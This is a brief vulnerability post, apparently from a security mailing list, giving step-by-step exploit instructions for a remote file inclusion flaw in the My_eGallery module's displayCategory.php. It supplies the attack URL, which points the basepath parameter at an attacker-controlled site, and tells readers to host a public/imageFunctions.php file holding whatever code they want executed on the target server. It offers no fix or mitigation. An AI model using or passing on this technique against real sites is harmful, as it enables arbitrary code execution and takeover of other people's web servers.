Hi,
There is some php scrits which are vulnerables.
One of these is displayCategory.php .
So you just have to go to:
http://www.[vulnerable].com/modules/My_eGallery/public/displayCategory.php?basepath=http://[youwebsite].com
And create a directory "public" in the root of your website and put a 
file named imageFunctions.php with the code you want to inject.
